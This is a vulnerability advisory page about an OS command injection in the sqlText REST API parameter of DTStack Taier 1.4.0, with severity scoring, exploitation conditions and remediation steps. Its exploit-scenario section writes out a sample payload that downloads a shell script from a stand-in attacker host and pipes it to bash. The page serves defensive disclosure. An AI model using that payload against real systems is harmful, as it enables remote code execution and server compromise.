Skip to main content

DTStack Taier EUVDEUVD-2026-31645

| CVE-2026-9437 LOW
OS Command Injection (CWE-78)
2026-05-25 VulDB GHSA-rpvv-2fvv-23x5
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege Taier credentials
  2. Delivery
    Send crafted REST API request with malicious sqlText value
  3. Exploit
    Unsanitized input passed to Runtime.exec()
  4. Execution
    Arbitrary OS command executes in Taier process context
  5. Impact
    Partial confidentiality, integrity, and availability impact achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authentication is required: the CVSS vector specifies PR:L (low-privileged), meaning an attacker must possess at minimum a valid low-privilege account on the Taier platform - unauthenticated exploitation is NOT possible based on available data. The specific vulnerable surface is the sqlText parameter within the Taier REST API, processed by the Runtime.exec() function; this feature must be reachable (i.e., the REST API endpoint must be network-accessible). No additional attack requirements exist (AT:N) - no special configuration, secondary vulnerability, or timing condition is needed beyond valid credentials and network access. Exploitation is constrained by the authentication barrier (confirmed by SSVC Automatable: no), limiting opportunistic mass scanning attacks. The low CVSS impact scores (VC:L/VI:L/VA:L) suggest the Taier process may run in a restricted OS context, limiting post-exploitation capability, but the exact execution privilege level is not specified in available data and should be verified per deployment.

Impact

Multiple signals present a mixed risk picture that warrants careful interpretation. The CVSS 4.0 base score of 2.1 is anomalously low for a CWE-78 command injection finding - typically one of the most severe vulnerability classes. The vector (AV:N/AC:L/AT:N/PR:L/UI:N) confirms remote, low-complexity access with no attack requirements, but the impact metrics (VC:L/VI:L/VA:L; SC:N/SI:N/SA:N) cap all confidentiality, integrity, and availability impact at 'Low' with no downstream scope change. This likely reflects a restricted OS execution context (e.g., containerized or low-privilege service account) rather than a full-system compromise scenario, but this is inferred - not confirmed by the vendor. IMPORTANT DISCREPANCY: A network-reachable command injection vulnerability scored at 2.1 with only partial impact is inconsistent with typical CWE-78 outcomes; security teams should independently verify the privilege level of the Taier service account before accepting this score at face value. EPSS at 0.84% (75th percentile) indicates moderate exploitation likelihood relative to the broader CVE population - not negligible. The SSVC determination of Automatable: no reflects the PR:L authentication barrier, limiting mass exploitation. A public POC exists (E:P in CVSS), elevating practical risk above theoretical. KEV status is not confirmed - this is not classified as actively exploited by CISA at time of analysis.

Exploit ScenarioDerived

An attacker who has obtained low-privilege credentials to the Taier platform - for example, through credential stuffing, phishing, or reused passwords - sends a crafted REST API request with a sqlText value containing injected shell commands such as ; curl attacker.com/shell.sh | bash. The Taier backend passes this string directly to Runtime.exec(), causing the server OS to execute the attacker's payload. The public POC at https://github.com/fakebug111/my_public_bug/blob/main/issus02.md demonstrates the exploitation technique.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

OS command injection in DTStack Taier 1.4.0 permits remote low-privileged authenticated attackers to execute arbitrary operating system commands by injecting shell metacharacters into the sqlText parameter, which is passed unsanitized to Java's Runtime.exec() within the REST API. A public proof-of-concept exploit has been disclosed on GitHub. No vendor patch exists - the vendor did not respond to responsible disclosure - leaving all Taier 1.4.0 deployments without an official remediation path at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis - the vendor did not respond to responsible disclosure, and no official fix version has been published. Compensating controls should be applied in the interim. First, restrict access to the Taier REST API to trusted, authenticated users over network controls (firewall rules, VPN, API gateway), reducing the exposure surface for the low-privileged authentication requirement. Second, implement input validation at the WAF or reverse-proxy layer to reject or sanitize shell metacharacters (semicolons, pipes, backticks, ampersands) in the sqlText parameter; note this may break legitimate SQL text payloads if not carefully tuned. Third, run the Taier application process under a dedicated, minimally privileged OS account with no shell access where possible, to limit what injected commands can accomplish - this aligns with the low CVSS impact scores and may already be partially in place. Fourth, enable process-level auditing (auditd or equivalent) to detect anomalous child processes spawned by the Taier JVM. Monitor the VulDB entry at https://vuldb.com/vuln/365418 and the NVD record at https://nvd.nist.gov/vuln/detail/CVE-2026-9437 for any future vendor patch release.

Affected VersionsENISA

Taier 1.4.0

Affected Packages

euvd taier no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DTStack Taier is a distributed task scheduling platform. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied input from the sqlText REST API argument is passed without sanitization to Java's Runtime.exec() method, which invokes OS-level process execution. Because Runtime.exec() can interpret shell metacharacters (semicolons, pipes, ampersands) when input is naively constructed into a command string, an attacker can append arbitrary commands. CPE cpe:2.3:a:dtstack:taier:*:*:*:*:*:*:*:* identifies the affected application; EUVD (EUVD-2026-31645) narrows the confirmed affected release to version 1.4.0. The wildcard CPE version field raises the question of whether adjacent versions are also vulnerable, but no vendor guidance exists to clarify scope.

Know when Taier gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
May 26, 2026 - 20:07 NVD
MEDIUM LOW
CVSS changed
May 26, 2026 - 20:07 NVD
6.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability has been found in DTStack Taier 1.4.0. This affects the function Runtime.exec of the component REST API. The manipulation of the argument sqlText leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.8%
Top 25% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.8%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy